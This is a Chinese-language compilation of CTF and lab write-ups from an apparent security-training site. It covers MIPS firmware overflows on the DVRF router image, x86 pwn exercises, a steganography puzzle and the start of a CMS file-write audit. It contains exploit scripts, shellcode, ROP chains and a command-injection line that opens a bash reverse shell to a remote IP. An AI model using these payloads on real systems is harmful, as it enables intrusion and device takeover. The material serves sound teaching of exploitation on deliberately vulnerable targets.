从DVRF靶机学习固件安全
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
DVRF 项目介绍
该项目目标是模拟一个真实的环境,帮助人们了解 x86_64 之外的其他 CPU 架构。此固件是针对 Linksys E1550 设备量身定制的。如果您没有,请不要担心!可以用 qemu 模拟。
项目地址:https://github.com/praetorian-inc/DVRF
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECIDd6d0-f3ad-47c1-9d14-8a29aecc8b4e (通过本次实验学习如何在固件被加密的情况下进行解密,使得固件层面的路由器安全研究顺利进行。)
模拟环境
主要是用 ubuntu 16 ,如果部分题目用 qemu-user 模拟不了,就转去 attify 3.0 。但是 attify gdb 插件 gef 视乎在模拟时 vmmap 查不过来 libc 地址,问题不大只是查询方法饶了一点,还是可以解决的。
ubuntu 16.04
pwndbg
Qemu-static(version 2.11.1)
gdb-multiarch
attify 3.0
下载地址:https://github.com/adi0x90/attifyos
stack_bof_01
获取参数后,未校验长度赋值给局部变量造成栈溢出,有后门函数 0x00400950 :
Main 函数由 libc_main_start 调用,即 main 函数为非叶子函数,返回地址存放在栈上,从汇编可见:
直接跳转 0x00400950 会因为 t9 的值被修改而错误。mips默认 t9 为当前函数开始地址。函数内部通过 t9 寄存器和 gp 寄存器来找数据,地址等。
其他师傅文章中是通过找 libc 中的 lw $t9, arg_0($sp);jalr $t9 调整 t9 寄存器。但是我固件镜像中的 libc 没有这个 gadget ,按照偏移地址跳转过去是 jalr $t9 。换个思路直接跳过 dat_shell 开头调整 gp 部分:
调试方法
需要打开几个 terminal 启动不同的命令:
启动 qemu 模拟
-strace 查看 qemu 调试信息,方便观察执行了什么命令
qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
gdb-multiarch
gdb-multiarch ./pwnable/Intro/stack_bof_01 set architecture mips set endian little target remote :1234
连上之后会停在 start ,在 main 函数开头打断点,运行到这个断点,然后就慢慢单步调试。
EXP
字符串是从参数读入,跳转地址转换后是不可见字符 ,需要借助 cat 传入参数
# file_name: stack_bof_01.py from pwn import * context.binary = "./pwnable/Intro/stack_bof_01" context.arch = "mips" context.endian = "little" backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4 payload += p32(backdoor) with open("stack_bof_01_payload","w") as file: file.write(payload)
命令行执行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
stack_bof_02
和前面一题差不多,调试方法也一样,就是少了后门函数,造成溢出函数变成了 strcpy :
main 非叶子函数覆盖函数返回地址跳转存放在栈上的 shellocde 。qemu 模拟地址没有随机化,相当于 aslr 关闭了,直接调试查出 v4 的内存地址
直接写入 shellcode 可以完整执行完,但是执行 syscall 0x40404 之后没有弹 shell 而是进行运行到下一条指令。问了师傅说也有遇到过这种情况,通过加无意义的指令(nop)调整 shellcode 位置有机会能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截断(只有不包含截断符指令都行),尝试后无果。
查阅资料后发现,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要调用 sleep 或者其他函数将数据区刷新到当前指令区中去,才能正常执行 shellcode 。
构造 ROP 的 gadget 得去 libc 找,程序自身没多少个。我在 ubuntu18 gdb 连上报错,换到 ubuntu16 vmmap 查不出来 libc 信息(如图),最后换 attify 解决问题。
libc路径:/squashfs-root/lib/libc.so.0
先调用 sleep(1) 就需要找 gadget 控制参数以及跳转。mipsrop.find("li $a0,1") 控制第一个参数,任选一个后面 rop 没有 gadget 继续构造就换一个 -。- ,我选着第二个构造 gadget1 = 0x2FB10 :
.text:0002FB10 li $a0, 1 .text:0002FB14 move $t9, $s1 .text:0002FB18 jalr $t9 ; sub_2F818
接着需要找一个控制 s1 的 gadget ,用于控制执行完 gadget1 之后跳转到哪里。mipsrop.find("li $s1") 结果有很多,最后选了 gadget2 = 0x00007730 :
.text:00007730 lw $ra, 0x18+var_s10($sp) .text:00007734 lw $s3, 0x18+var_sC($sp) .text:00007738 lw $s2, 0x18+var_s8($sp) .text:0000773C lw $s1, 0x18+var_s4($sp) .text:00007740 lw $s0, 0x18+var_s0($sp) .text:00007744 jr $ra
至此 a0 被控制为 1 ,目前 payload 结构为:
payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += "????"#s1 payload += "bbbb"#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra
不能直接将 sleep(0x767142b0) 填到 s1 处,因为直接填地址跳转 sleep 缺少了跳转前将返回地址放到 ra 寄存器(或压栈)的过程,当 sleep 运行到结尾的 jalr $ra 时,又会跳转会到 gadget1 ,所以要换个方式。
mipsrop.tails() 找通过 s0\s2\s3 寄存器跳转的 gadget ,选择了 gadget3 = 0x00020F1C :
.text:00020F1C move $t9, $s2 .text:00020F20 lw $ra, 0x18+var_sC($sp) .text:00020F24 lw $s2, 0x18+var_s8($sp) .text:00020F28 lw $s1, 0x18+var_s4($sp) .text:00020F2C lw $s0, 0x18+var_s0($sp) .text:00020F30 jr $t9
解决 sleep 运行结束返回地址问题,并 lw $ra, 0x18+var_sC($sp) 控制下一层跳转,payload 结构:
payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += "cccc"#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += "????"#ra
mipsrop.stackfinders() 找一个 gadget 提取栈地址放到寄存器中,找的时候还要注意控制下一次跳转选择 gadget4 = 0x16dd0 这个,通过 gadget3 提前将下次跳转地址写入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20 .text:00016DD4 move $t9, $s0 .text:00016DD8 jalr $t9 payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a
最后找一个用 a0 跳转的 gadget ,一开始用 mipsrop.tails() 没找到,最后用 mipsrop.find("move $t9,$a0)") 找着了 gadget5 = 0x214a0 ,对 mipsrop 理解不够……
.text:000214A0 move $t9, $a0 .text:000214A4 sw $v0, 0x30+var_18($sp) .text:000214A8 jalr $t9
最后跳转 shellcode 时,0x000214A4 的这句汇编 sw $v0, 0x30+var_18($sp) 会将 shellcode 第一个指令替换为 nop ,用无意义指令填充,将 shellcode 向后移。
payload = "a"*508 payload += p32(gadget2) payload += "a"*0x18 payload += "bbbb"#s0 payload += p32(gadget3)#s1 payload += p32(sleep)#s2 payload += "bbbb"#s3 payload += p32(gadget1)#ra ####### payload += "a"*(0x18+0x4) payload += p32(gadget5)#s0 payload += "cccc"#s1 payload += "cccc"#s2 payload += p32
EXP
from pwn import * context.binary = "./pwnable/ShellCode_Required/stack_bof_02" context.arch = "mips" context.endian = "little" # libc_base = 0x766e5000 sleep = 0x767142b0#0x2F2B0+0x766e5000 gadget1 = 0x76714b10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x766ec7
socket_bof
这题二进制文件用 ida 看伪代码有点瑕疵,本来溢出点变成了一个指针,导致一直找不到,最后无奈去看了下源码和结合汇编。
#include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <stdio.h> #include <string.h> #include <stdlib.h> // Pwnable Socket Program // By b1ack0wl // Stack Overflow int main(int argc, char **argv[]) { if (argc <2){ printf("Usage: %s port_number - by b1ack0wl\n", argv[0]); exit(1);
栈溢出在这句 sprintf(endstr, "nom nom nom, you sent me %s", str); str 是 socket 传入的数据,长度内容为我们所控制,溢出 padding 为 51
调试方法
在 ubuntu 16.04 下 gdb-multiarch target remote :1234 链接上后报错退出,切换到 attify 能继续使用最常规方式调试:qemu-user 模式加 -g 打开调试端口,gdb-multiarch target remote :1234 链接上去。
# terminal 1 sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884 # terminal 2 gdb-multiarch set architecture mips set endian little target remote :1234
另外一个调试方法是 qemu system 启动 mips 系统,然后传入一个 gdb-server ,在里面运行程序然后 gdb-server attach 程序,再在外面用 gdb 链接上去。
attify 里面 gdb 插件是 gef ,用 vmmap 读不出 libc 地址
曲线救国在 0x00400D34 打下断点,单步跟进去查看 sprintf 的真实地址,然后再从 ./lib/libc.so.0 读取偏移算出基地址
全部题目用的 libc 都同一个,需要 shellcode 的题目,换下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的脚本 libc_base 和 attify 不一样要换下基地址。
Stack_bof_02 的 execve('/bin/sh') 能打通
找一个反弹 shell 的 shellcode 替换,或者将 shell 绑定到某个端口
绑定 shell 的 shellcode 预期是开在本地的 4919 端口,实际运行后发现并不是,要自己查端口 -。- ,然鹅 nc 连上去后程序会蹦掉。
反弹 shell 的 shellcode 预编是反弹到 192.168.1.177:31337 ,要么修改网卡 ip ,要么就改一下 shellcode 传入的 ip
将 ip 地址转换成 16 进制
hex(192)#0xc0 hex(168)#0xa8 hex(1) #0x01 hex(177)#0xb1 #192.168.1.177==>0xB101A8C0
编译一下,编译失败看看是不是 binutils 没装
from pwn import context.arch = "mips" context.endian = "little" asm("li $a1, 0xB101A8C0")
然后搜索 \x01\xb1\x05\x3c\xc0\xa8\xa5\x34 替换为自己编译的:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x0
EXP
#!/usr/bin/python from pwn import * context.arch = 'mips' context.endian = 'little' libc_addr = 0x4089b000#0x766e5000 sleep = 0x0002F2B0 gadget1 = 0x2fb10 ''' 0x76714b10: li a0,1 0x76714b14: move t9,s1 0x76714b18: jalr t9 ''' gadget2 = 0x7730 ''' 0x766ec730: lw ra,40(sp) 0x766ec734: lw s3,36(sp) 0x7
socket_cmd
EXP
依次打开终端运行
#terminal 0 qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999 #terminal 1 nc -lvvp 31337 #tarminal 2 nc 127.0.0.1 9999 hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
是 iot 用户 nc 链接上去程序,程序是用 sudo 起来,所以切换到 root
Uaf_01&heap_overflow
剩下两题 heap_overflow 和 uaf_01 没有什么思路,都是输入一次然后程序就退出了。
uaf_01 重新申请相同 0x11 ,就跳转 Awesome 那个分支,但没啥用。
heap_overflow 有个后门,输入机会只有一次,然后程序就会关掉。
参考文章
https://ctf-wiki.org/pwn/linux/mips/mips_rop/https://xz.aliyun.com/t/1511https://www.cnblogs.com/hac425/p/9416864.html
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF Stegano练习之隐写初探
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要介绍的是CTF练习中的Stegano隐写题型。做隐写题的时候,工具是很重要的,接下来介绍一些工具。
1、TrID
TrID是一款根据文件二进制数据特征进行判断的文件类型识别工具。虽然也有类似的文件类型识别工具,但是大多数都是使用硬编码的识别规则,而TrID则没有固定的匹配规则,TrID具有灵活的可扩展性,可以通过训练来进行文件类型的快速识别。
TrID通过附加的文件类型指纹数据库来进行匹配,可用于取证分析、未知文件识别等用途。
2、Audacity
Audacity是一款自由且免费的音频编辑器和录音器。它是在Linux下发展起来的,有着傻瓜式的操作界面和专业的音频处理效果。使用Audacity可以帮助我们快速解决CTF中一些音频相关的题目。
这个实验还需要了解一些摩尔斯电码。
摩尔斯电码(Morse Code)是一种时通时断的信号代码,通过不同的排列顺序来表达不同的英文字母、数字和标点符号。是由美国人萨缪尔·摩尔斯在1836年发明。
摩斯码使用点(.)和横线(-)来表示各种字符,我们只需要知道某一串字符是摩斯码,然后使用解码工具进行解码即可。
实验内容和步骤
本次实验链接地址:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014121211151300001
来看实验描述:在实验主机上的C:\Stegano\1目录下为本题所提供的文件,请对这些文件进行分析,找到一个flag{XXXX}形式的Flag字符串。
来看实验打开cmd命令行,切换到C:\Stegano\1目录,然后使用TrID对其进行文件类型识别,如图所示:
TrID对该文件的识别结果为:85.7%的可能性为XZ文件,14.2%的可能性为QuickBasic BSAVE文件。我们通过搜索引擎可以了解到XZ文件是一种压缩文件,因此可以使用7Zip进行解压(实验机器已经安装7Zip,右键选择通过7Zip解压即可)。
解压之后我们得到新文件hello_forensics~,仍然是一个没有扩展名的文件,我们再次使用TrID进行识别,得到的结果如图所示:
TrID认为这是一个OGG文件。OGG是一种音频文件格式,大家如果平时有留意的话,在手机上一定见过这样的文件,许多手机内置的音效就是以OGG文件格式存在的。
接下来就是要用到我之前提到的Audacity,使用桌面上的Audacity工具打开我们提取出来的OGG文件,默认会显示音频文件左右两个声道的波形图,如图所示:
按住键盘左下角的Ctrl按键,同时滚动鼠标滚轮即可对波形图进行放大或者缩小操作,这里我们将波形图进行放大,然后播放OGG文件,我们发现在中间的某一个区间内夹杂着一些“滴滴”的声音,实际上这里是播放的摩斯码,通过对声道的波形图观察,可以看到如下的特征:(实验时可能无法通过远程桌面听到实验机器发出的声音,因此这里提供原始题目文件以及相关工具的下载,地址为http://heetian.qiniudn.com/steg.txt,大家可以下载下来在本地测试)
在Audacity中,将波形图放得越大,就越能明显的看到对应的摩斯码特征,通过对声音波形图的分析,我们可以得到摩斯码(摩斯码从第18秒开始播放,如果两段“滴滴”声之间的时间间隔在7~8秒左右,则认为是两个不同的摩斯码之间的分隔,用空格表示,如果两段“滴滴”声之间的时间间隔在2~3秒左右,则认为是同一个摩斯码的内容)。分析后得到的摩斯码为“.- ... - .- .-. .. ... -... --- .- .-. -.”,打开桌面上的JPK,将摩斯码输入之后,依次选择菜单项“Ascii”、“Decode”、“DeMorse”,得到字符串ASTARISBOARN。
通过实验步得到字符串ASTARISBOARN,将其当做密码对压缩包进行解压测试,发现可以成功解压,得到一个PDF文件。这个PDF文件直接看上去似乎没有什么有用的信息,但是对其中的文字进行选择操作的时候,发现页眉和页脚中似乎有一些不可见的文字,如图所示:
这里我们通过Ctrl+A对其中的文本进行全选,然后粘贴到记事本里面去,得到两个可疑的字符串:
VjIweE5HRkdiM3BrUnpGT1UwVndjMWx0Y0ZkalJtd
zJWbTFhYUZkRk5XMVhiVFZYWkZWc1dVMUVNRDA9
我们解密一下,将两个字符串拼接起来后进行Base64解码,得到另一个字符串V20xNGFGb3pkRzFOU0Vwc1ltcFdjRmw2Vm1aaFdFNW1XbTVXZFVsWU1EMD0=,仍然是Base64加密,经过这样的几次Base64解码之后,最后得到字符串flag{f0ren5ic5_is_fun!},这就是题目所要求要找的Flag字符串了。
CTF真是防不胜防,还顺便了解一下摩尔斯电码。这次实验真的是很有意思,解题过程比较简单,但是思路很重要。
用实战磨练技术,加入网安实验室,1300+网安技能任你学!
CTF PWN练习之绕过返回地址限制
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
先介绍一些这个实验要知道的一些东西
builtin_return_address函数
builtin_return_address函数接收一个参数,可以是0,1,2等。__builtin_return_address(0)返回当前函数的返回地址,如果参数增大1,那么就往上走一层获取主调函数的返回地址。还有多层跳转retn指令从栈顶弹出一个数据并赋值给EIP寄存器,程序继续执行时就相当于跳转到这个地址去执行代码了。如果我们将返回地址覆盖为一条retn指令的地址,那么就又可以执行一条retn指令了,相当于再在栈顶弹出一个数据赋值给EIP寄存器。
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110316261100001
先仔细看一下题目描述。主机/home/test/7目录下有一个pwn7程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后会产生对应的输出信息并直接退出,然而当输入一定的数据量时,可能会提示bzzzt的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到执行Shellcode的目的。下面这段Shellcode用于执行/bin/sh:
\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81
请对pwn7程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之执行上面提供的Shellcode。
因为这个题目直接覆盖返回地址跳转到Shellcode执行是不行的,程序队返回地址进行了一点限制,学会绕过对返回地址的保护限制,以达到执行特定Shellcode的目的。所以看上去会难一些
我们先进行代码审计。
使用cd /home/test/7切换到程序所在目录,执行cat pwn7.c即可看到源代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: ");
fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if ((ret & 0xbf000000) == 0xbf000000)
{
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char** argv)
{
getpath();
return 0;
}
getpath函数中定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写。但是也可以看到这里对返回地址和0xbf000000进行与操作,如果高位字节是0xbf的话,那么程序就会退出。
执行gdb pwn7即可开始通过gdb对pwn7进行调试,现在我们需要阅读getpath函数的汇编代码,在gdb中执行disas getpath命令即可。
类似实验《CTF PWN练习之返回地址覆盖》,我们可以通过执行如下的指令来计算覆盖返回地址需要的字节数:
上图中红色线条框起来的就是我们执行的gdb命令,粉红色线条框起来的是我们下断点的地址,蓝色线条框起来的是我们想要查看的两个寄存器的值,有:
0xffffd6bc - 0xffffd66c,那么这两个地址的差为80。
也就是说,在覆盖了80字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。现在因为对返回地址进行了限制,我们显然不能直接跳转到栈上执行代码,因为这里Shellcode的地址的最高字节为0xff,有0xff & 0xbf == 0xbf,因此无法通过保护限制。
这里采用两次跳转的方法来突破这个限制。我们可以将一条retn指令的地址来覆盖函数的返回地址,比如getpath的最后一条指令为:
0x080484e9 <+117>: ret
那么,0x080484e9 & 0xbf000000 = 0x08000000,可以绕过保护限制,我们让这条retn指令执行时,从栈上取到的数据为Shellcode的地址,就可以执行Shellcode了。那么,我们构造的输入数据应该是这样的:
在gdb调试器下调试pwn7程序时,只要合理控制输入数据的第81~84字节的内容,就可以实现对函数返回地址进行覆盖,我们可以将返回地址填充为0x080484e9来实现执行一条retn指令。
同时,我们将第85~88字节覆盖为Shellcode的地址。即0xffffd6bc+4+4 = 0xffffd6c4,我们对输入数据的构造的布局如下:
在/home/test/7目录下有一个pwn7.py的Python脚本,其源代码如下:
shellcode = ("\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe" +
"\xc8\x88\x06\x46\xe2\xf7\xff\xe7\xe8\xe9\xff\xff" +
"\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69\x01\x69" +
"\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81")
print 'A'*80 + '\xe9\x84\x04\x08' + '\xc4\xd6\xff\xff' + shellcode
在Shell下执行python pwn7.py > test将输出数据写入test文件,然后再次使用gdb调试pwn7程序,gdb载入pwn7程序后,执行r < test命令,表示将test文件的数据当做输入数据传给pwn7程序,可以看到Shellcode成功执行,新创建了一个/bin/bash进程:
PWN练习还是很有难度的,总的来说比之前接触的实验上了一个档次,不过话说回来,咱们有关PWN题型的练习也告一段落了,接下来要开始接触新的知识了。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
CTF PWN练习之返回地址覆盖
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天进行的实验是CTF PWN练习之返回地址覆盖,来体验一下新的溢出方式。
学习地址覆盖之前还有些小知识需要掌握,不然做题的时候你肯定一脸懵逼,首先是函数调用约定,然后还要知道基本的缓冲区溢出攻击模型。
函数调用约定
函数调用约定描述了函数传递参数的方式和栈协同工作的技术细节,不同的函数调用约定原理基本相同,但在细节上是有差别的,包括函数参数的传递方式、参数的入栈顺序、函数返回时由谁来平衡堆栈扥。本实验中着重讲解C语言函数调用约定。
通过前面几个PWN系列实验的学习,我们可以发现在gdb中通过disas指令对main函数进行反汇编时,函数的开头和结尾的反汇编指令都是一样的:
push %ebp
mov %esp,%ebp
......
leave
ret
在函数大开头,首先是一条push %ebp指令,将ebp寄存器压入栈中,用于保存ebp寄存器的值,接着是mov %esp,%ebp将esp寄存器的值传递给ebp寄存器;在函数的末尾,leave指令相当于mov %ebp,%esp和pop %ebp两条指令,其作用刚好与开头的两条指令相反,即恢复esp和ebp寄存器的内容。
如果在函数A中调用了函数B,我们称函数A为主调函数,函数B为被调函数,如果函数B的声明为int B(int arg1, int arg2, int arg3),那么函数A中的调用函数B时的汇编指令的形式如下:
push arg3
push arg2
push arg1
call B
连续三个push将函数的参数按照从右往左的顺序进行压栈,然后执行call B来调用函数B。注意在gdb中看到的效果可能不是三个push,而是三个mov来对栈进行操作,这是因为Linux采用AT&T风格的汇编,而上面的指令使用的是Intel风格的汇编,比较容易理解。
call指令的内部细节为:将下一条指令的地址压入栈中,然后跳转到函数B去执行代码。这里说的call下一条指令的地址也就是通常所说的返回地址。函数B最后一条retn指令会从栈上弹出返回地址,并赋值给EIP寄存器,达到返回函数A继续执行的目的。
基本的缓冲区溢出攻击模型
基本的缓冲区溢出攻击通常是通过改写函数返回地址的形式来发起攻击的。如A调用B函数,正常情况下B函数返回时执行retn指令,从栈上取出返回地址跳转回A函数继续执行代码。而一旦返回地址被缓冲区溢出数据改写,那么我们就可以控制函数B跳转到指定的地方去执行代码了。
1. 实验内容和步骤
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409173900001。
做实验前先好好审题,看一下描述。
主机/home/test/5目录下有一个pwn5程序,执行这个程序可以输入数据进行测试,正常情况下程序接收输入数据后不会产生任何输出信息并直接退出,然后当输入一定的数据量时,可能会提示Segmentation fault的错误信息,当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
Congratulations, you pwned it.
请对pwn5程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入数据,使之输出成功的提示信息。
使用cd /home/test/5切换到程序所在目录,执行cat pwn5.c即可看到源代码:
#include <stdio.h>
void win()
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc, char** argv)
{
char buffer[64];
gets(buffer); // 存在缓冲区溢出
return 0;
}
程序定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,当返回地址被改写为win函数的地址时,就可以输出成功提示的信息。
gets(buffer)这个溢出太明显了,问题就是不知道我们要输入多少位才能溢出。
执行gdb pwn5即可开始通过gdb对pwn5进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可:
我们首先使用b *0x080483f8对main函数的第一条指令下一个断点,同时使用b *0x08048408对gets函数的调用下一个断点,然后输入r命令运行程序,将会在第一个断点处断下,如下图所示:
这时候运行i r $esp来查看esp寄存器的值,通过前面对函数调用约定的分析,我们知道这时候栈顶存储的就是返回地址,这时候esp寄存器的值为0xffffd6cc。
在gdb中输入c命令让程序继续执行,将在第二个断点断下,通过对汇编指令的分析,我们知道eax寄存器存储了buffer的起始地址,所以运行i r $eax来查看buffer的地址:
我们看到eax寄存器的值为0xffffd680,那么这两个地址的差为76,如下图下图所示:
也就是说,在覆盖了76字节数据后,如果再覆盖4个字节,就可以把返回地址覆盖为我们想要的地址了。
在gdb中执行disas win查看win函数的地址为0x080483e4,接下来就可以构造输入数据来发起溢出攻击了。
我们只要合理控制输入数据的第77~80字节的内容,就可以实现对函数返回地址进行覆盖,从而成功发起溢出攻击了。
现在win函数的地址为0x080483e4,转换为小端格式是’\xe4\x83\x04\x08’,那么可以构造这样的命令来进行溢出测试:
python -c "print 'A'*76+'\xe4\x83\x04\x08'" | ./pwn5
攻击效果如下图所示:
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF PWN练习之函数指针改写
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
先介绍工具吧!
使用objdump工具可以查看一个目标文件的许多内部信息,objdump有许多可选的参数选项,通过控制这些参数选项可以输出不同的文件信息。
本实验的程序和代码位于/home/test/4目录下,执行objdump -d pwn4可以看到关于pwn4程序的反汇编指令列表,其中-d选项表示进行反汇编操作.
本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014110409162800001(除了gdb之外,Linux还有许多工具可以帮助我们分析二进制文件。本实验将教会大家使用objdump来查找二进制程序中函数的地址信息,并通过修改函数指针变量的值为指定函数的地址来改写程序执行流程。)。
1.实验内容和步骤
大东:先来看题目描述 主机/home/test/4目录 下有一个pwn4程序,执行这个程序 可以 输入数据进行测试,当输入一定的数据量时 , 可能什么都不会提示程序就结束运行了,也可能会提示这样的信息:
calling function pointer, jumping to 0x41414141
Segmentation fault
当输入的精心构造的输入数据时可对程序发起溢出攻击,达到改写程序执行流程的目的,攻击成功时将输出如下信息:
calling function pointer, jumping to 0xXXXXXXXX
Congratulations, you pwned it.
请对pwn4程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的输入 数据,使之 输出成功的提示信息。
开始做题吧,先看源码,使用cd /home/test/4切换到程序所在目录,执行cat pwn4.c 即可看到源代码:
#include <stdio.h>
#include <string.h>
typedef void (* func)();
void win()// 输出 成功提示信息的函数
{
printf("Congratulations, you pwned it.\n");
}
int main(int argc, char** argv)
{
func fp;
char buffer[64];
fp = NULL;
gets(buffer); // 可引发缓冲区溢出
if (fp) // 判断函数指针变量fp是否不为NULL
{
printf("calling function pointer, jumping to 0x%08X\n", fp);
fp(); // 调用 fp
}
return 0;
}
程序定义了一个与buffer相邻的函数指针变量fp, 然后使用gets获取输入数据,我们知道gets是不安全的函数,这里会引发缓冲区溢出,fp 变量的值可以被改写,当fp 的值被改写为 win 函数的地址时,就可以输出成功提示的信息。
继续来看分析,执行gdb pwn4即可开始通过gdb对 pwn4进行调试,现在我们需要阅读main函数的汇编代码 ,在gdb中执行disas main命令即可:
大东:下面是对main函数中的汇编代码的解释:
0x08048428 <+0>: push %ebp
0x08048429 <+1>: mov %esp,%ebp
0x0804842b <+3>: and $0xfffffff0,%esp
; 在栈上开辟0x60字节的空间
0x0804842e <+6>: sub $0x60,%esp
; 初始化fp的值为NULL,其中fp位于[esp+0x5c]
0x08048431 <+9>: movl $0x0,0x5c(%esp)
; 执行gets(buffer),其中buffer位于[esp+0x1c]
0x08048439 <+17>: lea 0x1c(%esp),%eax
0x0804843d <+21>: mov %eax,(%esp)
0x08048440 <+24>: call 0x8048320 < gets@plt>
; 判断fp是否为NULL
0x08048445 <+29>: cmpl $0x0,0x5c(%esp)
0x0804844a <+34>: je 0x8048467 < main+63>
0x0804844c <+36>: mov $0x8048554,%eax
0x08048451 <+41>: mov 0x5c(%esp),%edx
0x08048455 <+45>: mov %edx,0x4(%esp)
0x08048459 <+49>: mov %eax,(%esp)
0x0804845c <+52>: call 0x8048340 < printf@plt>
; 执行fp()
0x08048461 <+57>: mov 0x5c(%esp),%eax
0x08048465 <+61>: call *%eax
0x08048467 <+63>: mov $0x0,%eax
0x0804846c <+68>: leave
0x0804846d <+69>: ret
通过对上面的汇编代码进行分析, 我们知道buffer位于esp+0x1c处,而fp位于esp+0x5 c处,两个地址的距离为0x5 c - 0x1c = 0x40,即64,刚好为buffer数组的大小。 因此当输入数据的长度超过64字节 时,fp 变量 就可以被覆盖,但需要控制fp变量的值还需要小心的构造数据。我们只要合理控制 环境变量参数的第65~68字节的内容, 就可以成功发起溢出攻击了。
通过上面的步骤我们已经知道,只要合理控制输入 数据的第 65~68字节的内容,就可以成功发起 溢出攻击了 。现在的问题是找到函数win的地址信息,然后将fp的值改写为win函数的地址,这样就可以达到调用win函数的目的了。前面 提到过使用objdump可以查看函数的地址,现在在shell中执行objdump -d pwn4,然后在输出 信息中找到win函数的信息:
可以看到win函数的地址为0x08048414,因为机器采用小端格式,因此执行下面的语句就可以成功发起溢出攻击了:
python -c "print 'A'*64+'\x14\x84\x04\x08'" | ./pwn4
攻击效果如下图所示:
PWN类型的题目是CTF中的一个难点,要多下功夫。这次实验需要重点注意fp变量和汇编代码的分析。
想亲自体验这些精彩的实验吗?点击下方按钮注册,一起来实战!
记某cms的漏洞挖掘之旅
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
任意文件写入
这个 cms 是基于 thinkphp5.1 的基础开发的,一般我们挖 cms 如果想 rce 的话,可以在 application 文件夹直接搜索file_put_content等危险函数,如下图,我们直接全局定位到这个fileedit方法里面的file_put_content
我们看到第一个参数$rootpath,他是被拼接了这么一段路径
$rootpath = Env::get('root_path') . 'theme' . DIRECTORY_SEPARATOR . $template . DIRECTORY_SEPARATOR . $path;
其中$path是我们可控的,那么一般就可以考虑下是否存在路径穿越的问题
